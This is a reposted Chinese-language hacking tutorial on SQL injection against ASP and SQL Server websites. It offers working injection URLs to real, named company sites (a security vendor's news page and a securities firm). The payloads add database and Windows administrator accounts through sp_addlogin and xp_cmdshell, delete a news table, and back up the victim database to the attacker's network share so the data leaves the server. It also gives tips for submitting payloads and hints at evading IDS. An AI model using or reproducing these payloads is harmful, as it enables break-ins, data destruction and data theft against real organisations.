SQL數(shù)據(jù)庫的一些攻擊 
2024-07-21 02:30:58
供稿：網(wǎng)友
SQL數(shù)據(jù)庫的一些攻擊
轉(zhuǎn)載：inburst（闖入）
來源：Hectic
SQL數(shù)據(jù)庫的一些攻擊
Hectic
關(guān)于數(shù)據(jù)庫的簡單入侵和無賴破壞，以天融信做例子
對于國內(nèi)外的很多新聞，BBS和電子商務(wù)網(wǎng)站都采用asp+SQL設(shè)計，而寫 ASP的程序員很多（有很多剛剛畢業(yè)的），所以，ASP+SQL的攻擊成功率也比較高。這類攻擊方法與NT的版本和SQL的版本沒有多大的關(guān)系，也沒有相應(yīng)的補丁，因為漏洞是程序員自己造成的，而且大多數(shù)講解ASP編程的書上，源代碼例子就有這個漏洞存在，其實只是一些合法的ASP對SQL的請求，就留下后患無窮！
這種攻擊方法最早源于'or'1'='1的漏洞（我們暫且稱其為漏洞），這個漏洞的原理我想大家因該都知道了，那么隨之而來的便是;exec sp_addlogin hax（在數(shù)據(jù)庫內(nèi)添加一個hax用戶），但是這個方法的限制很大，首先ASP使用的SQL Server賬號是個管理員，其次請求的提交變量在整個SQL語句的最后，因為有一些程序員采用SELECT * FROM news WHERE id=... AND topic=... AND ..... 這種方法請求數(shù)據(jù)庫，那么如果還用以上的例子就會news.asp?id=2;exec sp_addlogin hax
變成SELECT * FROM news WHERE id=2;exec sp_addlogin hax AND topic=... AND ...
整個SQL語句在執(zhí)行sp_addlogin的存儲過程后有AND與判斷存在，語法錯誤，你的sp_addlogin自然也不能正常運行了，因此試試看下面這個方法
news.asp?id=2;exec sp_addlogin hax;--
后面的--符號把sp_addlogin后的判斷語句變成了注釋，這樣就不會有語法錯誤了，sp_addlogin正常執(zhí)行！
那么我們連一起來用吧
news.asp?id=2;exec master.dbo.sp_addlogin hax;--
news.asp?id=2;exec master.dbo.sp_passWord null,hax,hax;--
news.asp?id=2;exec master.dbo.sp_addsrvrolemember sysadmin hax;--
news.asp?id=2;exec master.dbo.xp_cmdshell 'net user hax hax /workstations:* /times:all /passwordchg:yes /passwordreq:yes
/active:yes /add';--
news.asp?id=2;exec master.dbo.xp_cmdshell 'net localgroup administrators hax /add';--
這樣，你在他的數(shù)據(jù)庫和系統(tǒng)內(nèi)都留下了hax管理員賬號了
當(dāng)然，前提條件是ASP用管理員賬號，所以虛擬空間大家就別試了，不會存在這個漏洞的。
以后我們會討論，如果對方的ASP不是用SQL管理員賬號，我們?nèi)绾稳肭郑?dāng)然也會涉及到1433端口的入侵
當(dāng)然大家可以試試看在id=2后面加上一個'符號，主要看對方的ASP怎么寫了
再說說當(dāng)ASP程序使用的SQL賬號不是管理員的時候我們該如何做。
你如天融信的主頁，有新聞內(nèi)容，如下：
http://www.talentit.com.cn/news/news-2.asp?newid=117
大家可以試試看http://www.talentit.com.cn/news/news-2.asp?newid=117;select 123;--
呵呵，報語法錯誤，select 123錯誤，顯而易見，天融新的ASP在newid變量后面用'號結(jié)束
那么試試看http://www.talentit.com.cn/news/news-2.asp?newid=117';delete news;--
哈哈，我想只要表名猜對了，新聞庫就被刪了
通常ASP用的SQL賬號就算不是管理員也會是某個數(shù)據(jù)庫的owner,至少對于這個庫有很高的管理權(quán)限
但是我們不知道庫名該怎么？看看db_name()函數(shù)吧
打開你的query analyzer，看看PRint db_name() ，呵呵，當(dāng)前的數(shù)據(jù)庫名就出來了
以次類推，如下： declare @a sysname;set @a=db_name();backup database @a to disk='你的ip你的共享目錄bak.dat' ,name='test';--
呵呵，他的當(dāng)前數(shù)據(jù)庫就備份到你的硬盤上了，接下來要做的大家心里都明白了吧
同理這個方法可以找到對方的SQL的IP
先裝一個防火墻，打開ICMP和139TCP和445TCP的警告提示
然后試試看news.asp?id=2;exec master.dbo.xp_cmdshell 'ping 你的IP'
如果防火墻提示有人ping你，那么因該可以肯定對方的ASP用的是SQL的管理員權(quán)限，同時也確定了對方的SQL Server的準(zhǔn)確位置，因為很多大
一點的網(wǎng)站考慮性能，會吧web服務(wù)和數(shù)據(jù)庫分開，當(dāng)對方大上了補丁看不到源代碼時，我想只有這個方法能很快的定位對方的SQL Server的位置了
那么，如果對方ASP沒有SQL管理員權(quán)限，我們就不能調(diào)用xp_cmdshell了，該怎么辦？
別著急，試試看這個news.asp?id=2;declare @a;set @a=db_name();backup database @a to disk='你的IP你的共享目錄bak.dat'
,name='test';--
呵呵，你的防火墻該發(fā)出警告了，有人連接你的445或139(win9端口了，這樣，對方的SQL的ip一樣也可以暴露
那么如果對方連某個數(shù)據(jù)庫的owner也不是的話，我們該怎么辦？下次我會告訴大家一個更好的辦法。
其實backuo database到你的硬盤還是有點夸張了，如果對方數(shù)據(jù)庫很龐大，你又是撥號上網(wǎng)，呵呵，勸你別試了，很難成功傳輸?shù)?nbsp;
下次我們還會談到如何騙過IDS執(zhí)行ASP+SQL入侵
目前有些好的IDS已經(jīng)開始監(jiān)視xp_cmdshell這些關(guān)鍵字了
好吧，同志們下次見
所有以上url希望大家通過vbscript提交，因為瀏覽器的地址欄會屏蔽一些特殊字符，這樣你的命令就不能完整傳輸了
window.location.herf=URL
補充：這個問題以前載網(wǎng)上也提出來過，但是只是一些簡單的xp_cmdshell調(diào)用限制很大，其實這里面還有很多值得深入的地方比如www.guosen.com.cn。國信證卷就有這個問題，而且他們采用ms的三層結(jié)構(gòu)作的用以前說的xp_cmdshell做法就不行了，字符串會被過濾，但是我嘗試了，用sql的異類請求仍然可以在對方的機器上開啟telnet服務(wù)和administrators組的賬號！由于對方防火墻很嚴(yán)checkpoint數(shù)據(jù)報進出都只開放80端口因此，要想獲得他的數(shù)據(jù)庫結(jié)構(gòu)比較困難了，但是還是有辦法可以做到的：P
順便提醒大家注意一下關(guān)于sqloledb,db_name,openrowset,opendatasource這些系統(tǒng)函數(shù)當(dāng)asp的sqlserver賬號只是一個普通用戶時，他們會很有用的！
